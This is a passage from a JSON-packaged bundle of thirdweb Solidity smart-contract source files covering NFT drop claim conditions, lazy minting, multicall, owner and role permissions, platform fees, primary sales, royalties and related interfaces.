Here `isOverride` implies that if the merkle proof verification fails,\n * the claimer would claim through open claim limit instead of allowlisted limit.\n */\n if (currentClaimPhase.merkleRoot != bytes32(0)) {\n (isOverride, ) = MerkleProof.verify(\n _allowlistProof.proof,\n currentClaimPhase.merkleRoot,\n keccak256(\n abi.encodePacked(\n _claimer,\n _allowlistProof.quantityLimitPerWallet,\n _allowlistProof.pricePerToken,\n _allowlistProof.currency\n )\n )\n );\n }\n\n if (isOverride) {\n claimLimit = _allowlistProof.quantityLimitPerWallet != 0\n ? _allowlistProof.quantityLimitPerWallet\n : claimLimit;\n claimPrice = _allowlistProof.pricePerToken != type(uint256).max\n ? _allowlistProof.pricePerToken\n : claimPrice;\n claimCurrency = _allowlistProof.pricePerToken != type(uint256).max && _allowlistProof.currency != address(0)\n ? _allowlistProof.currency\n : claimCurrency;\n }\n\n uint256 supplyClaimedByWallet = claimCondition.supplyClaimedByWallet[_conditionId][_claimer];\n\n if (_currency != claimCurrency || _pricePerToken != claimPrice) {\n revert(\"!PriceOrCurrency\");\n }\n\n if (_quantity == 0 || (_quantity + supplyClaimedByWallet > claimLimit)) {\n revert(\"!Qty\");\n }\n if (currentClaimPhase.supplyClaimed + _quantity > currentClaimPhase.maxClaimableSupply) {\n revert(\"!MaxSupply\");\n }\n\n if (currentClaimPhase.startTimestamp > block.timestamp) {\n revert(\"cant claim yet\");\n }\n }\n\n /// @dev At any given moment, returns the uid for the active claim condition.\n function getActiveClaimConditionId() public view returns (uint256) {\n for (uint256 i = claimCondition.currentStartId + claimCondition.count; i > claimCondition.currentStartId; i--) {\n if (block.timestamp >= claimCondition.conditions[i - 1].startTimestamp) {\n return i - 1;\n }\n }\n\n revert(\"!CONDITION.\");\n }\n\n /// @dev Returns the claim condition at the given uid.\n function getClaimConditionById(uint256 _conditionId) external view returns (ClaimCondition memory condition) {\n condition = claimCondition.conditions[_conditionId];\n }\n\n /// @dev Returns the supply claimed by claimer for a given conditionId.\n function getSupplyClaimedByWallet(\n uint256 _conditionId,\n address _claimer\n ) public view returns (uint256 supplyClaimedByWallet) {\n supplyClaimedByWallet = claimCondition.supplyClaimedByWallet[_conditionId][_claimer];\n }\n\n /*////////////////////////////////////////////////////////////////////\n Optional hooks that can be implemented in the derived contract\n ///////////////////////////////////////////////////////////////////*/\n\n /// @dev Exposes the ability to override the msg sender.\n function _dropMsgSender() internal virtual returns (address) {\n return msg.sender;\n }\n\n /// @dev Runs before every `claim` function call.\n function _beforeClaim(\n address _receiver,\n uint256 _quantity,\n address _currency,\n uint256 _pricePerToken,\n AllowlistProof calldata _allowlistProof,\n bytes memory _data\n ) internal virtual {}\n\n /// @dev Runs after every `claim` function call.\n function _afterClaim(\n address _receiver,\n uint256 _quantity,\n address _currency,\n uint256 _pricePerToken,\n AllowlistProof calldata _allowlistProof,\n bytes memory _data\n ) internal virtual {}\n\n /*///////////////////////////////////////////////////////////////\n Virtual functions: to be implemented in derived contract\n //////////////////////////////////////////////////////////////*/\n\n /// @dev Collects and distributes the primary sale value of NFTs being claimed.\n function _collectPriceOnClaim(\n address _primarySaleRecipient,\n uint256 _quantityToClaim,\n address _currency,\n uint256 _pricePerToken\n ) internal virtual;\n\n /// @dev Transfers the NFTs being claimed.\n function _transferTokensOnClaim(\n address _to,\n uint256 _quantityBeingClaimed\n ) internal virtual returns (uint256 startTokenId);\n\n /// @dev Determine what wallet can update claim conditions\n function _canSetClaimConditions() internal view virtual returns (bool);\n}\n"
},
"contracts/extension/LazyMint.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/ILazyMint.sol\";\nimport \"./BatchMintMetadata.sol\";\n\n/**\n * The `LazyMint` is a contract extension for any base NFT contract. It lets you 'lazy mint' any number of NFTs\n * at once. Here, 'lazy mint' means defining the metadata for particular tokenIds of your NFT contract, without actually\n * minting a non-zero balance of NFTs of those tokenIds.\n */\n\nabstract contract LazyMint is ILazyMint, BatchMintMetadata {\n /// @notice The tokenId assigned to the next new NFT to be lazy minted.\n uint256 internal nextTokenIdToLazyMint;\n\n /**\n * @notice Lets an authorized address lazy mint a given amount of NFTs.\n *\n * @param _amount The number of NFTs to lazy mint.\n * @param _baseURIForTokens The base URI for the 'n' number of NFTs being lazy minted, where the metadata for each\n * of those NFTs is `${baseURIForTokens}/${tokenId}`.\n * @param _data Additional bytes data to be used at the discretion of the consumer of the contract.\n * @return batchId A unique integer identifier for the batch of NFTs lazy minted together.\n */\n function lazyMint(\n uint256 _amount,\n string calldata _baseURIForTokens,\n bytes calldata _data\n ) public virtual override returns (uint256 batchId) {\n if (!_canLazyMint()) {\n revert(\"Not authorized\");\n }\n\n if (_amount == 0) {\n revert(\"0 amt\");\n }\n\n uint256 startId = nextTokenIdToLazyMint;\n\n (nextTokenIdToLazyMint, batchId) = _batchMintMetadata(startId, _amount, _baseURIForTokens);\n\n emit TokensLazyMinted(startId, startId + _amount - 1, _baseURIForTokens, _data);\n\n return batchId;\n }\n\n /// @dev Returns whether lazy minting can be performed in the given execution context.\n function _canLazyMint() internal view virtual returns (bool);\n}\n"
},
"contracts/extension/Multicall.sol": {
"content": "// SPDX-License-Identifier: Apache 2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"../lib/Address.sol\";\nimport \"./interface/IMulticall.sol\";\n\n/**\n * @dev Provides a function to batch together multiple calls in a single external call.\n *\n * _Available since v4.1._\n */\ncontract Multicall is IMulticall {\n /**\n * @notice Receives and executes a batch of function calls on this contract.\n * @dev Receives and executes a batch of function calls on this contract.\n *\n * @param data The bytes data that makes up the batch of function calls to execute.\n * @return results The bytes data that makes up the result of the batch of function calls executed.\n */\n function multicall(bytes[] calldata data) external returns (bytes[] memory results) {\n results = new bytes[](data.length);\n address sender = _msgSender();\n bool isForwarder = msg.sender != sender;\n for (uint256 i = 0; i < data.length; i++) {\n if (isForwarder) {\n results[i] = Address.functionDelegateCall(address(this), abi.encodePacked(data[i], sender));\n } else {\n results[i] = Address.functionDelegateCall(address(this), data[i]);\n }\n }\n return results;\n }\n\n /// @notice Returns the sender in the given execution context.\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n"
},
"contracts/extension/Ownable.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IOwnable.sol\";\n\n/**\n * @title Ownable\n * @notice Thirdweb's `Ownable` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * who the 'owner' of the inheriting smart contract is, and lets the inheriting contract perform conditional logic that uses\n * information about who the contract's owner is.\n */\n\nabstract contract Ownable is IOwnable {\n /// @dev Owner of the contract (purpose: OpenSea compatibility)\n address private _owner;\n\n /// @dev Reverts if caller is not the owner.\n modifier onlyOwner() {\n if (msg.sender != _owner) {\n revert(\"Not authorized\");\n }\n _;\n }\n\n /**\n * @notice Returns the owner of the contract.\n */\n function owner() public view override returns (address) {\n return _owner;\n }\n\n /**\n * @notice Lets an authorized wallet set a new owner for the contract.\n * @param _newOwner The address to set as the new owner of the contract.\n */\n function setOwner(address _newOwner) external override {\n if (!_canSetOwner()) {\n revert(\"Not authorized\");\n }\n _setupOwner(_newOwner);\n }\n\n /// @dev Lets a contract admin set a new owner for the contract. The new owner must be a contract admin.\n function _setupOwner(address _newOwner) internal {\n address _prevOwner = _owner;\n _owner = _newOwner;\n\n emit OwnerUpdated(_prevOwner, _newOwner);\n }\n\n /// @dev Returns whether owner can be set in the given execution context.\n function _canSetOwner() internal view virtual returns (bool);\n}\n"
},
"contracts/extension/Permissions.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IPermissions.sol\";\nimport \"../lib/Strings.sol\";\n\n/**\n * @title Permissions\n * @dev This contracts provides extending-contracts with role-based access control mechanisms\n */\ncontract Permissions is IPermissions {\n /// @dev Map from keccak256 hash of a role => a map from address => whether address has role.\n mapping(bytes32 => mapping(address => bool)) private _hasRole;\n\n /// @dev Map from keccak256 hash of a role to role admin. See {getRoleAdmin}.\n mapping(bytes32 => bytes32) private _getRoleAdmin;\n\n /// @dev Default admin role for all roles. Only accounts with this role can grant/revoke other roles.\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /// @dev Modifier that checks if an account has the specified role; reverts otherwise.\n modifier onlyRole(bytes32 role) {\n _checkRole(role, msg.sender);\n _;\n }\n\n /**\n * @notice Checks whether an account has a particular role.\n * @dev Returns `true` if `account` has been granted `role`.\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n * @param account Address of the account for which the role is being checked.\n */\n function hasRole(bytes32 role, address account) public view override returns (bool) {\n return _hasRole[role][account];\n }\n\n /**\n * @notice Checks whether an account has a particular role;\n * role restrictions can be swtiched on and off.\n *\n * @dev Returns `true` if `account` has been granted `role`.\n * Role restrictions can be swtiched on and off:\n * - If address(0) has ROLE, then the ROLE restrictions\n * don't apply.\n * - If address(0) does not have ROLE, then the ROLE\n * restrictions will apply.\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n * @param account Address of the account for which the role is being checked.\n */\n function hasRoleWithSwitch(bytes32 role, address account) public view returns (bool) {\n if (!_hasRole[role][address(0)]) {\n return _hasRole[role][account];\n }\n\n return true;\n }\n\n /**\n * @notice Returns the admin role that controls the specified role.\n * @dev See {grantRole} and {revokeRole}.\n * To change a role's admin, use {_setRoleAdmin}.\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n */\n function getRoleAdmin(bytes32 role) external view override returns (bytes32) {\n return _getRoleAdmin[role];\n }\n\n /**\n * @notice Grants a role to an account, if not previously granted.\n * @dev Caller must have admin role for the `role`.\n * Emits {RoleGranted Event}.\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n * @param account Address of the account to which the role is being granted.\n */\n function grantRole(bytes32 role, address account) public virtual override {\n _checkRole(_getRoleAdmin[role], msg.sender);\n if (_hasRole[role][account]) {\n revert(\"Can only grant to non holders\");\n }\n _setupRole(role, account);\n }\n\n /**\n * @notice Revokes role from an account.\n * @dev Caller must have admin role for the `role`.\n * Emits {RoleRevoked Event}.\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n * @param account Address of the account from which the role is being revoked.\n */\n function revokeRole(bytes32 role, address account) public virtual override {\n _checkRole(_getRoleAdmin[role], msg.sender);\n _revokeRole(role, account);\n }\n\n /**\n * @notice Revokes role from the account.\n * @dev Caller must have the `role`, with caller being the same as `account`.\n * Emits {RoleRevoked Event}.\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n * @param account Address of the account from which the role is being revoked.\n */\n function renounceRole(bytes32 role, address account) public virtual override {\n if (msg.sender != account) {\n revert(\"Can only renounce for self\");\n }\n _revokeRole(role, account);\n }\n\n /// @dev Sets `adminRole` as `role`'s admin role.\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = _getRoleAdmin[role];\n _getRoleAdmin[role] = adminRole;\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n /// @dev Sets up `role` for `account`\n function _setupRole(bytes32 role, address account) internal virtual {\n _hasRole[role][account] = true;\n emit RoleGranted(role, account, msg.sender);\n }\n\n /// @dev Revokes `role` from `account`\n function _revokeRole(bytes32 role, address account) internal virtual {\n _checkRole(role, account);\n delete _hasRole[role][account];\n emit RoleRevoked(role, account, msg.sender);\n }\n\n /// @dev Checks `role` for `account`. Reverts with a message including the required role.\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!_hasRole[role][account]) {\n revert(\n string(\n abi.encodePacked(\n \"Permissions: account \",\n Strings.toHexString(uint160(account), 20),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n\n /// @dev Checks `role` for `account`. Reverts with a message including the required role.\n function _checkRoleWithSwitch(bytes32 role, address account) internal view virtual {\n if (!hasRoleWithSwitch(role, account)) {\n revert(\n string(\n abi.encodePacked(\n \"Permissions: account \",\n Strings.toHexString(uint160(account), 20),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n}\n"
},
"contracts/extension/PermissionsEnumerable.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IPermissionsEnumerable.sol\";\nimport \"./Permissions.sol\";\n\n/**\n * @title PermissionsEnumerable\n * @dev This contracts provides extending-contracts with role-based access control mechanisms.\n * Also provides interfaces to view all members with a given role, and total count of members.\n */\ncontract PermissionsEnumerable is IPermissionsEnumerable, Permissions {\n /**\n * @notice A data structure to store data of members for a given role.\n *\n * @param index Current index in the list of accounts that have a role.\n * @param members map from index => address of account that has a role\n * @param indexOf map from address => index which the account has.\n */\n struct RoleMembers {\n uint256 index;\n mapping(uint256 => address) members;\n mapping(address => uint256) indexOf;\n }\n\n /// @dev map from keccak256 hash of a role to its members' data. See {RoleMembers}.\n mapping(bytes32 => RoleMembers) private roleMembers;\n\n /**\n * @notice Returns the role-member from a list of members for a role,\n * at a given index.\n * @dev Returns `member` who has `role`, at `index` of role-members list.\n * See struct {RoleMembers}, and mapping {roleMembers}\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n * @param index Index in list of current members for the role.\n *\n * @return member Address of account that has `role`\n */\n function getRoleMember(bytes32 role, uint256 index) external view override returns (address member) {\n uint256 currentIndex = roleMembers[role].index;\n uint256 check;\n\n for (uint256 i = 0; i < currentIndex; i += 1) {\n if (roleMembers[role].members[i] != address(0)) {\n if (check == index) {\n member = roleMembers[role].members[i];\n return member;\n }\n check += 1;\n } else if (hasRole(role, address(0)) && i == roleMembers[role].indexOf[address(0)]) {\n check += 1;\n }\n }\n }\n\n /**\n * @notice Returns total number of accounts that have a role.\n * @dev Returns `count` of accounts that have `role`.\n * See struct {RoleMembers}, and mapping {roleMembers}\n *\n * @param role keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n *\n * @return count Total number of accounts that have `role`\n */\n function getRoleMemberCount(bytes32 role) external view override returns (uint256 count) {\n uint256 currentIndex = roleMembers[role].index;\n\n for (uint256 i = 0; i < currentIndex; i += 1) {\n if (roleMembers[role].members[i] != address(0)) {\n count += 1;\n }\n }\n if (hasRole(role, address(0))) {\n count += 1;\n }\n }\n\n /// @dev Revokes `role` from `account`, and removes `account` from {roleMembers}\n /// See {_removeMember}\n function _revokeRole(bytes32 role, address account) internal override {\n super._revokeRole(role, account);\n _removeMember(role, account);\n }\n\n /// @dev Grants `role` to `account`, and adds `account` to {roleMembers}\n /// See {_addMember}\n function _setupRole(bytes32 role, address account) internal override {\n super._setupRole(role, account);\n _addMember(role, account);\n }\n\n /// @dev adds `account` to {roleMembers}, for `role`\n function _addMember(bytes32 role, address account) internal {\n uint256 idx = roleMembers[role].index;\n roleMembers[role].index += 1;\n\n roleMembers[role].members[idx] = account;\n roleMembers[role].indexOf[account] = idx;\n }\n\n /// @dev removes `account` from {roleMembers}, for `role`\n function _removeMember(bytes32 role, address account) internal {\n uint256 idx = roleMembers[role].indexOf[account];\n\n delete roleMembers[role].members[idx];\n delete roleMembers[role].indexOf[account];\n }\n}\n"
},
"contracts/extension/PlatformFee.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IPlatformFee.sol\";\n\n/**\n * @title Platform Fee\n * @notice Thirdweb's `PlatformFee` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * the recipient of platform fee and the platform fee basis points, and lets the inheriting contract perform conditional logic\n * that uses information about platform fees, if desired.\n */\n\nabstract contract PlatformFee is IPlatformFee {\n /// @dev The address that receives all platform fees from all sales.\n address private platformFeeRecipient;\n\n /// @dev The % of primary sales collected as platform fees.\n uint16 private platformFeeBps;\n\n /// @dev Fee type variants: percentage fee and flat fee\n PlatformFeeType private platformFeeType;\n\n /// @dev The flat amount collected by the contract as fees on primary sales.\n uint256 private flatPlatformFee;\n\n /// @dev Returns the platform fee recipient and bps.\n function getPlatformFeeInfo() public view override returns (address, uint16) {\n return (platformFeeRecipient, uint16(platformFeeBps));\n }\n\n /// @dev Returns the platform fee bps and recipient.\n function getFlatPlatformFeeInfo() public view returns (address, uint256) {\n return (platformFeeRecipient, flatPlatformFee);\n }\n\n /// @dev Returns the platform fee type.\n function getPlatformFeeType() public view returns (PlatformFeeType) {\n return platformFeeType;\n }\n\n /**\n * @notice Updates the platform fee recipient and bps.\n * @dev Caller should be authorized to set platform fee info.\n * See {_canSetPlatformFeeInfo}.\n * Emits {PlatformFeeInfoUpdated Event}; See {_setupPlatformFeeInfo}.\n *\n * @param _platformFeeRecipient Address to be set as new platformFeeRecipient.\n * @param _platformFeeBps Updated platformFeeBps.\n */\n function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external override {\n if (!_canSetPlatformFeeInfo()) {\n revert(\"Not authorized\");\n }\n _setupPlatformFeeInfo(_platformFeeRecipient, _platformFeeBps);\n }\n\n /// @dev Sets the platform fee recipient and bps\n function _setupPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) internal {\n if (_platformFeeBps > 10_000) {\n revert(\"Exceeds max bps\");\n }\n if (_platformFeeRecipient == address(0)) {\n revert(\"Invalid recipient\");\n }\n\n platformFeeBps = uint16(_platformFeeBps);\n platformFeeRecipient = _platformFeeRecipient;\n\n emit PlatformFeeInfoUpdated(_platformFeeRecipient, _platformFeeBps);\n }\n\n /// @notice Lets a module admin set a flat fee on primary sales.\n function setFlatPlatformFeeInfo(address _platformFeeRecipient, uint256 _flatFee) external {\n if (!_canSetPlatformFeeInfo()) {\n revert(\"Not authorized\");\n }\n\n _setupFlatPlatformFeeInfo(_platformFeeRecipient, _flatFee);\n }\n\n /// @dev Sets a flat fee on primary sales.\n function _setupFlatPlatformFeeInfo(address _platformFeeRecipient, uint256 _flatFee) internal {\n flatPlatformFee = _flatFee;\n platformFeeRecipient = _platformFeeRecipient;\n\n emit FlatPlatformFeeUpdated(_platformFeeRecipient, _flatFee);\n }\n\n /// @notice Lets a module admin set platform fee type.\n function setPlatformFeeType(PlatformFeeType _feeType) external {\n if (!_canSetPlatformFeeInfo()) {\n revert(\"Not authorized\");\n }\n _setupPlatformFeeType(_feeType);\n }\n\n /// @dev Sets platform fee type.\n function _setupPlatformFeeType(PlatformFeeType _feeType) internal {\n platformFeeType = _feeType;\n\n emit PlatformFeeTypeUpdated(_feeType);\n }\n\n /// @dev Returns whether platform fee info can be set in the given execution context.\n function _canSetPlatformFeeInfo() internal view virtual returns (bool);\n}\n"
},
"contracts/extension/PrimarySale.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IPrimarySale.sol\";\n\n/**\n * @title Primary Sale\n * @notice Thirdweb's `PrimarySale` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * the recipient of primary sales, and lets the inheriting contract perform conditional logic that uses information about\n * primary sales, if desired.\n */\n\nabstract contract PrimarySale is IPrimarySale {\n /// @dev The address that receives all primary sales value.\n address private recipient;\n\n /// @dev Returns primary sale recipient address.\n function primarySaleRecipient() public view override returns (address) {\n return recipient;\n }\n\n /**\n * @notice Updates primary sale recipient.\n * @dev Caller should be authorized to set primary sales info.\n * See {_canSetPrimarySaleRecipient}.\n * Emits {PrimarySaleRecipientUpdated Event}; See {_setupPrimarySaleRecipient}.\n *\n * @param _saleRecipient Address to be set as new recipient of primary sales.\n */\n function setPrimarySaleRecipient(address _saleRecipient) external override {\n if (!_canSetPrimarySaleRecipient()) {\n revert(\"Not authorized\");\n }\n _setupPrimarySaleRecipient(_saleRecipient);\n }\n\n /// @dev Lets a contract admin set the recipient for all primary sales.\n function _setupPrimarySaleRecipient(address _saleRecipient) internal {\n if (_saleRecipient == address(0)) {\n revert(\"Invalid recipient\");\n }\n recipient = _saleRecipient;\n emit PrimarySaleRecipientUpdated(_saleRecipient);\n }\n\n /// @dev Returns whether primary sale recipient can be set in the given execution context.\n function _canSetPrimarySaleRecipient() internal view virtual returns (bool);\n}\n"
},
"contracts/extension/Royalty.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IRoyalty.sol\";\n\n/**\n * @title Royalty\n * @notice Thirdweb's `Royalty` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * the recipient of royalty fee and the royalty fee basis points, and lets the inheriting contract perform conditional logic\n * that uses information about royalty fees, if desired.\n *\n * @dev The `Royalty` contract is ERC2981 compliant.\n */\n\nabstract contract Royalty is IRoyalty {\n /// @dev The (default) address that receives all royalty value.\n address private royaltyRecipient;\n\n /// @dev The (default) % of a sale to take as royalty (in basis points).\n uint16 private royaltyBps;\n\n /// @dev Token ID => royalty recipient and bps for token\n mapping(uint256 => RoyaltyInfo) private royaltyInfoForToken;\n\n /**\n * @notice View royalty info for a given token and sale price.\n * @dev Returns royalty amount and recipient for `tokenId` and `salePrice`.\n * @param tokenId The tokenID of the NFT for which to query royalty info.\n * @param salePrice Sale price of the token.\n *\n * @return receiver Address of royalty recipient account.\n * @return royaltyAmount Royalty amount calculated at current royaltyBps value.\n */\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view virtual override returns (address receiver, uint256 royaltyAmount) {\n (address recipient, uint256 bps) = getRoyaltyInfoForToken(tokenId);\n receiver = recipient;\n royaltyAmount = (salePrice * bps) / 10_000;\n }\n\n /**\n * @notice View royalty info for a given token.\n * @dev Returns royalty recipient and bps for `_tokenId`.\n * @param _tokenId The tokenID of the NFT for which to query royalty info.\n */\n function getRoyaltyInfoForToken(uint256 _tokenId) public view override returns (address, uint16) {\n RoyaltyInfo memory royaltyForToken = royaltyInfoForToken[_tokenId];\n\n return\n royaltyForToken.recipient == address(0)\n ? (royaltyRecipient, uint16(royaltyBps))\n : (royaltyForToken.recipient, uint16(royaltyForToken.bps));\n }\n\n /**\n * @notice Returns the defualt royalty recipient and BPS for this contract's NFTs.\n */\n function getDefaultRoyaltyInfo() external view override returns (address, uint16) {\n return (royaltyRecipient, uint16(royaltyBps));\n }\n\n /**\n * @notice Updates default royalty recipient and bps.\n * @dev Caller should be authorized to set royalty info.\n * See {_canSetRoyaltyInfo}.\n * Emits {DefaultRoyalty Event}; See {_setupDefaultRoyaltyInfo}.\n *\n * @param _royaltyRecipient Address to be set as default royalty recipient.\n * @param _royaltyBps Updated royalty bps.\n */\n function setDefaultRoyaltyInfo(address _royaltyRecipient, uint256 _royaltyBps) external override {\n if (!_canSetRoyaltyInfo()) {\n revert(\"Not authorized\");\n }\n\n _setupDefaultRoyaltyInfo(_royaltyRecipient, _royaltyBps);\n }\n\n /// @dev Lets a contract admin update the default royalty recipient and bps.\n function _setupDefaultRoyaltyInfo(address _royaltyRecipient, uint256 _royaltyBps) internal {\n if (_royaltyBps > 10_000) {\n revert(\"Exceeds max bps\");\n }\n\n royaltyRecipient = _royaltyRecipient;\n royaltyBps = uint16(_royaltyBps);\n\n emit DefaultRoyalty(_royaltyRecipient, _royaltyBps);\n }\n\n /**\n * @notice Updates default royalty recipient and bps for a particular token.\n * @dev Sets royalty info for `_tokenId`. Caller should be authorized to set royalty info.\n * See {_canSetRoyaltyInfo}.\n * Emits {RoyaltyForToken Event}; See {_setupRoyaltyInfoForToken}.\n *\n * @param _recipient Address to be set as royalty recipient for given token Id.\n * @param _bps Updated royalty bps for the token Id.\n */\n function setRoyaltyInfoForToken(uint256 _tokenId, address _recipient, uint256 _bps) external override {\n if (!_canSetRoyaltyInfo()) {\n revert(\"Not authorized\");\n }\n\n _setupRoyaltyInfoForToken(_tokenId, _recipient, _bps);\n }\n\n /// @dev Lets a contract admin set the royalty recipient and bps for a particular token Id.\n function _setupRoyaltyInfoForToken(uint256 _tokenId, address _recipient, uint256 _bps) internal {\n if (_bps > 10_000) {\n revert(\"Exceeds max bps\");\n }\n\n royaltyInfoForToken[_tokenId] = RoyaltyInfo({ recipient: _recipient, bps: _bps });\n\n emit RoyaltyForToken(_tokenId, _recipient, _bps);\n }\n\n /// @dev Returns whether royalty info can be set in the given execution context.\n function _canSetRoyaltyInfo() internal view virtual returns (bool);\n}\n"
},
"contracts/extension/interface/IClaimCondition.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * The interface `IClaimCondition` is written for thirdweb's 'Drop' contracts, which are distribution mechanisms for tokens.\n *\n * A claim condition defines criteria under which accounts can mint tokens. Claim conditions can be overwritten\n * or added to by the contract admin. At any moment, there is only one active claim condition.\n */\n\ninterface IClaimCondition {\n /**\n * @notice The criteria that make up a claim condition.\n *\n * @param startTimestamp The unix timestamp after which the claim condition applies.\n * The same claim condition applies until the `startTimestamp`\n * of the next claim condition.\n *\n * @param maxClaimableSupply The maximum total number of tokens that can be claimed under\n * the claim condition.\n *\n * @param supplyClaimed At any given point, the number of tokens that have been claimed\n * under the claim condition.\n *\n * @param quantityLimitPerWallet The maximum number of tokens that can be claimed by a wallet.\n *\n * @param merkleRoot The allowlist of addresses that can claim tokens under the claim\n * condition.\n *\n * @param pricePerToken The price required to pay per token claimed.\n *\n * @param currency The currency in which the `pricePerToken` must be paid.\n *\n * @param metadata Claim condition metadata.\n */\n struct ClaimCondition {\n uint256 startTimestamp;\n uint256 maxClaimableSupply;\n uint256 supplyClaimed;\n uint256 quantityLimitPerWallet;\n bytes32 merkleRoot;\n uint256 pricePerToken;\n address currency;\n string metadata;\n }\n}\n"
},
"contracts/extension/interface/IClaimConditionMultiPhase.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./IClaimCondition.sol\";\n\n/**\n * The interface `IClaimConditionMultiPhase` is written for thirdweb's 'Drop' contracts, which are distribution mechanisms for tokens.\n *\n * An authorized wallet can set a series of claim conditions, ordered by their respective `startTimestamp`.\n * A claim condition defines criteria under which accounts can mint tokens. Claim conditions can be overwritten\n * or added to by the contract admin. At any moment, there is only one active claim condition.\n */\n\ninterface IClaimConditionMultiPhase is IClaimCondition {\n /**\n * @notice The set of all claim conditions, at any given moment.\n * Claim Phase ID = [currentStartId, currentStartId + length - 1];\n *\n * @param currentStartId The uid for the first claim condition amongst the current set of\n * claim conditions. The uid for each next claim condition is one\n * more than the previous claim condition's uid.\n *\n * @param count The total number of phases / claim conditions in the list\n * of claim conditions.\n *\n * @param conditions The claim conditions at a given uid. Claim conditions\n * are ordered in an ascending order by their `startTimestamp`.\n *\n * @param supplyClaimedByWallet Map from a claim condition uid and account to supply claimed by account.\n */\n struct ClaimConditionList {\n uint256 currentStartId;\n uint256 count;\n mapping(uint256 => ClaimCondition) conditions;\n mapping(uint256 => mapping(address => uint256)) supplyClaimedByWallet;\n }\n}\n"
},
"contracts/extension/interface/IContractMetadata.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * Thirdweb's `ContractMetadata` is a contract extension for any base contracts. It lets you set a metadata URI\n * for you contract.\n *\n * Additionally, `ContractMetadata` is necessary for NFT contracts that want royalties to get distributed on OpenSea.\n */\n\ninterface IContractMetadata {\n /// @dev Returns the metadata URI of the contract.\n function contractURI() external view returns (string memory);\n\n /**\n * @dev Sets contract URI for the storefront-level metadata of the contract.\n * Only module admin can call this function.\n */\n function setContractURI(string calldata _uri) external;\n\n /// @dev Emitted when the contract URI is updated.\n event ContractURIUpdated(string prevURI, string newURI);\n}\n"
},
"contracts/extension/interface/IDelayedReveal.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * Thirdweb's `DelayedReveal` is a contract extension for base NFT contracts. It lets you create batches of\n * 'delayed-reveal' NFTs. You can learn more about the usage of delayed reveal NFTs here - https://blog.thirdweb.com/delayed-reveal-nfts\n */\n\ninterface IDelayedReveal {\n /// @dev Emitted when tokens are revealed.\n event TokenURIRevealed(uint256 indexed index, string revealedURI);\n\n /**\n * @notice Reveals a batch of delayed reveal NFTs.\n *\n * @param identifier The ID for the batch of delayed-reveal NFTs to reveal.\n *\n * @param key The key with which the base URI for the relevant batch of NFTs was encrypted.\n */\n function reveal(uint256 identifier, bytes calldata key) external returns (string memory revealedURI);\n\n /**\n * @notice Performs XOR encryption/decryption.\n *\n * @param data The data to encrypt. In the case of delayed-reveal NFTs, this is the \"revealed\" state\n * base URI of the relevant batch of NFTs.\n *\n * @param key The key with which to encrypt data\n */\n function encryptDecrypt(bytes memory data, bytes calldata key) external pure returns (bytes memory result);\n}\n"
},
"contracts/extension/interface/IDrop.sol": {
